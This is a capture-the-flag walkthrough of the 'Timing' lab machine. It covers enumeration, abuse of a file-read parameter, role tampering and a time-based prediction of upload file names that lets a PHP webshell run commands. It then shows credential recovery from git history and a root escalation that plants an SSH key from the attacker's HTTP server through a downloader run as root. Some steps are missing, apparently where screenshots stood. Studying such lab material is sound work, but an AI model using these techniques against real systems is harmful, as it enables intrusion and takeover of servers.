Timing Enumeration: Nmap Reveals Two Open Ports, HTTP and SSH. Let's Look Into Webpage
Timing Enumeration: Nmap Reveals Two Open Ports, HTTP and SSH. Let's Look Into Webpage
Timing Enumeration: Nmap Reveals Two Open Ports, HTTP and SSH. Let's Look Into Webpage
Enumeration
$\> nmap -p- -sV -sC -v -oA enum --min-rate 4500 --max-rtt-timeout 1500ms --open
timing.htb
Nmap scan report for
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Simple WebApp
|_Requested resource was ./login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap reveals two open ports, HTTP and SSH. Let’s look into webpage.
Just a login page, there’s nothing else on the homepage. Let’s do a directory brute
force.
$\> gobuster dir -u http://timing.htb -x php -w ~/tools/SecLists/Discovery/Web-
Content/raft-small-words.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://timing.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/tools/SecLists/Discovery/Web-Content/raft-
small-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/12/15 04:48:56 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 309] [--> http://timing.htb/images/]
/js (Status: 301) [Size: 305] [--> http://timing.htb/js/]
/login.php (Status: 200) [Size: 5609]
/index.php (Status: 302) [Size: 0] [--> ./login.php]
/css (Status: 301) [Size: 306] [--> http://timing.htb/css/]
/profile.php (Status: 302) [Size: 0] [--> ./login.php]
/logout.php (Status: 302) [Size: 0] [--> ./login.php]
/image.php (Status: 200) [Size: 0]
/upload.php (Status: 302) [Size: 0] [--> ./login.php]
We got couple of directories and php files. If we look closer, most php files are
redirecting to ‘login.php’. However, image.php is not redirecting to anywhere, and
also the size is ‘0’. Initially I was little bit confused, why there’s a ‘image.php’
and ‘images’ directory, both server the same purpose. So, I did a directory brute
force on ‘images’.
There’s another directory inside ‘images’. So, my speculation was, if user uploads any
images via ‘upload.php’ it dumps it in ‘/images/upload’ directory and it can be
accessed via ‘image.php’. I tried to fuzz with file parameter for any LFI or Path
traversal attack.
________________________________________________
:: Method : GET
:: URL : http://timing.htb/image.php?file=FUZZ
:: Wordlist : FUZZ: /home/kali/tools/SecLists/Fuzzing/LFI/LFI-
gracefulsecurity-linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
As you can see, status code of files are 200 but size is 0. It simply means, ‘file’
parameter is not working. I tried with couple other parameters but all failed, but
‘img’ parameter worked.
:: Method : GET
:: URL : http://timing.htb/image.php?img=FUZZ
:: Wordlist : FUZZ: /home/kali/tools/SecLists/Fuzzing/LFI/LFI-
gracefulsecurity-linux.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
As you can see, I tried to curl the path with ‘img’ parameter, and I got the above
response. We need to bypass the security filters now.
We can directly decode it and grep for user details. We got ‘aaron’ user. Now we can
read files local files which we found in our initial directory brute force.
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
To access upload feature the user should have a ‘role 1’, if not, this feature is not
available. Now we need to find a way to login. There are no any files which has login
details. However, if we login using previously found user ‘aaron’ as username and
password, then it’d give you dashboard.
The only way to edit the role is when we update user profile. Let’s edit the profile
and intercept the update request in burp.
No need to change anything from the above input, as it only concerns about role ID.
Add the role to data and forward the request and refresh the page. You will see ‘admin
panel’
$file_hash = uniqid();
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
Above code is what we will look into. Uploaded files will be moved to
‘/images/uploads/‘ directory. File Extension must have ‘jpg’, and upon upload the
filename will be changed to MD5 sum. The logic behind creating this MD5 sum is, it
takes two things as input, ‘$file_hash’ and ‘time())’ and then adds the base filename
of uploaded file to that hash.
According to PHP, uniqid() function generates a unique ID based on the microtime (the
current time in microseconds). In PHP single quote (‘) and double quote(“) have
different meanings and interpretations.
Single quoted strings will display things almost completely "as is.”. Double quote
strings will display a host of escaped characters (including some regexes), and
variables in the strings will be evaluated.
We need to match the upload time to get the right hash. For that we need to make sure
our local machine time is not far behind or a head.
$\> date
Wed Dec 15 08:48:49 AM GMT 2021
You can check the date and match it with your time using nmap. Target is ‘-16’ seconds
behind from my local time. You just need to confirm time, make sure to set your time
to GMT.
Create a jpg file with PHP code which can give code execution access. Now we need to
start a PHP interactive shell, where we run continuously run PHP code to generate hash
based on time and string.
$\> php -a
Interactive mode enabled
php > while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .
time());echo "\n";sleep(1);}
Wed Dec 15 9:47:14 UTC 2021 = 982292d5dcf036ed4305960b7d275b6a
Wed Dec 15 9:47:15 UTC 2021 = ba9771b9c5e7a3a000e323d3ed55617a
Wed Dec 15 9:47:16 UTC 2021 = 9d40ad00812d4f17ecb7ec6ebf9dbdd7
Keep it going, do not terminate it. Now we need to upload that recently created jpg
file, intercept the upload request, send it to repeater, check the response time and
match the time with PHP hash.
Check burp response time and find the matching hash of that time from PHP interactive
session.
$\> php -a
Interactive mode enabled
php > while (true){echo date("D M j G:i:s T Y"); echo " = " ; echo md5('$file_hash' .
time());echo "\n";sleep(1);}
Wed Dec 15 9:50:59 UTC 2021 = 707a2c2e4e0e123576771bf0cd6f2e8b
Wed Dec 15 9:51:00 UTC 2021 = 17550f9eeba77354e1076f030d61815e
Wed Dec 15 9:51:01 UTC 2021 = 897913d9efbddb0f67cbbf2c5368998c
Wed Dec 15 9:51:02 UTC 2021 = 4d1084d6fe2d5182c16a77b2c90fb23e
Wed Dec 15 9:51:03 UTC 2021 = 75dd5fb2dbc5b8b51805d250a8759d35
Wed Dec 15 9:51:04 UTC 2021 = e386dadae01c949d05a461b58477c0af
Wed Dec 15 9:51:05 UTC 2021 = b82985c01237617c02e96910bf469ccc
Wed Dec 15 9:51:06 UTC 2021 = 72a6fc3ec79113bdb80cbd7d39f34a20
Wed Dec 15 9:51:07 UTC 2021 = f4ab09bc284d04237619a41f2bf2f90d
Wed Dec 15 9:51:08 UTC 2021 = 89a7b05af64d9f4f03c4fa7eca72ff70
Response time is 09:51:04 Copy the hash, add the base filename of uploaded jpg file
and access it via img query parameter.
Initial Access
$\> curl 'http://timing.htb/image.php?
img=images/uploads/e386dadae01c949d05a461b58477c0af_demo.jpg&cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
As you can see we have a code execution. This machine will not easily provide you
reverse shell, as firewall (iptables) are in place to block outgoing request from a
www-data user.
We can’t directory access the zip file, so copy it to uploads Directory and from there
we can download it.
$\> ls -la
total 76
drwxr-xr-x 6 kali kali 4096 Jul 20 22:34 .
drwxr-xr-x 3 kali kali 4096 Dec 15 10:09 ..
-rw-r--r-- 1 kali kali 200 Jul 20 22:34 admin_auth_check.php
-rw-r--r-- 1 kali kali 373 Jul 20 22:34 auth_check.php
-rw-r--r-- 1 kali kali 1268 Jul 20 22:34 avatar_uploader.php
drwxr-xr-x 2 kali kali 4096 Jul 20 22:34 css
-rw-r--r-- 1 kali kali 92 Jul 20 22:34 db_conn.php
-rw-r--r-- 1 kali kali 3937 Jul 20 22:34 footer.php
drwxr-xr-x 8 kali kali 4096 Jul 20 22:35 .git
-rw-r--r-- 1 kali kali 1498 Jul 20 22:34 header.php
-rw-r--r-- 1 kali kali 507 Jul 20 22:34 image.php
drwxr-xr-x 3 kali kali 4096 Jul 20 22:34 images
-rw-r--r-- 1 kali kali 188 Jul 20 22:34 index.php
drwxr-xr-x 2 kali kali 4096 Jul 20 22:34 js
-rw-r--r-- 1 kali kali 2074 Jul 20 22:34 login.php
-rw-r--r-- 1 kali kali 113 Jul 20 22:34 logout.php
-rw-r--r-- 1 kali kali 3041 Jul 20 22:34 profile.php
-rw-r--r-- 1 kali kali 1740 Jul 20 22:34 profile_update.php
-rw-r--r-- 1 kali kali 984 Jul 20 22:34 upload.php
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[*] Creating...
[+] Found commit: 16de2698b5b122c93461298eab730d00273bd83e
[+] Found file: /home/kali/htb/machines/timing/new/backup/source/0-
16de2698b5b122c93461298eab730d00273bd83e/admin_auth_check.php
[+] Found file: /home/kali/htb/machines/timing/new/backup/source/0-
16de2698b5b122c93461298eab730d00273bd83e/auth_check.php
[+] Found file: /home/kali/htb/machines/timing/new/backup/source/0-
16de2698b5b122c93461298eab730d00273bd83e/avatar_uploader.php
After commit extraction, you will see two directories. Now we need to find what has
changed in terms of code.
$\> ls
0-16de2698b5b122c93461298eab730d00273bd83e 1-e4e214696159a25c69812571c8214d2bf8736a3f
---
> tree fd7fb62599f9702baeb0abdc42a8a4b68e49ec23
> author grumpy <grumpy@localhost.com> 1626820434 +0000
> committer grumpy <grumpy@localhost.com> 1626820434 +0000
6c5
< db_conn updated
---
> init
Common subdirectories: 0-16de2698b5b122c93461298eab730d00273bd83e/css and 1-
e4e214696159a25c69812571c8214d2bf8736a3f/css
diff '--color=auto' 0-16de2698b5b122c93461298eab730d00273bd83e/db_conn.php 1-
e4e214696159a25c69812571c8214d2bf8736a3f/db_conn.php
2c2
---
Database connection credentials has been modified. Let’s try these creds on user SSH
login.
aaron@timing:~$ id
uid=1000(aaron) gid=1000(aaron) groups=1000(aaron)
User can run a binary with root privileges. Let’s look into it.
aaron@timing:~$ file /usr/bin/netutils
/usr/bin/netutils: Bourne-Again shell script, ASCII text executable
It is a shell script, running a java application from root’s directory. Let’s interact
with it.
Upon execution of the binary, it gives us two options, FTP and HTTP. Setup a HTTP
server on Kali and download test file.
After download check the downloaded file in ‘aaron’ user’s home directory or current
working directory.
As you can see the file permissions are of root user and ‘aaron’ user has read access
to it. We still don’t know what’s happening behind scene. Let’s run a pspy in one SSH
terminal and in another execute sudo binary to find what’s happening.
$\> nc -lvnp 80
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.129.246.175.
Ncat: Connection from 10.129.246.175:36576.
GET / HTTP/1.0
Host: x.x.x.x
Accept: */*
Range: bytes=1-
User-Agent: Axel/2.16.1 (Linux)
The user agent disclose application version. This version has no any CVEs. ‘Axel’
application has a configuration file via that we can dump our SSH public keys as
authorized_keys.
/usr/share/doc/axel/examples/axelrc.example
---------SNIP---------
---------SNIP---------
As you can see from the above example, to download I didn’t provide any file name.
Even tho it dowloaded something and saved it as ‘default’
If we read the ‘default’ file, then we will see HTML format of directory listing page.
It just download the whole page and saved it as ‘default’. If we look closely, all the
downloaded files have root’s permissions. We can use it our advantage.
---------SNIP---------
---------SNIP---------
$\> ls
index.html
$\> cat index.html
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDIJQA032MXvVljcAzJd/abBC0Rnp1ZQQvMPwAYo5Jcxol1MV5BhddPTBAY
kali@kali
Now we are set to execute this. Setup a HTTP server where your Kali SSH key file is
and download it via netutils HTTP option.
netutils v0.1
Input >> 1
It’s dumped to ‘root’ directory. Let’s try to login via SSH from Kali.
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
root@timing:~# id
uid=0(root) gid=0(root) groups=0(root)
We got root shell and flag. There’s another method to do the same thing, but with WGET
(FTP). This can be done by wgetrc
Create a wget configuration file in ‘aaron’ users home directory. Setup a FTP server
on Kali Linux.
Make sure you have authorized_keys file and start a python FTP severe.
netutils v0.1
Input >> 0
After this, you can login via SSH from Kali Linux.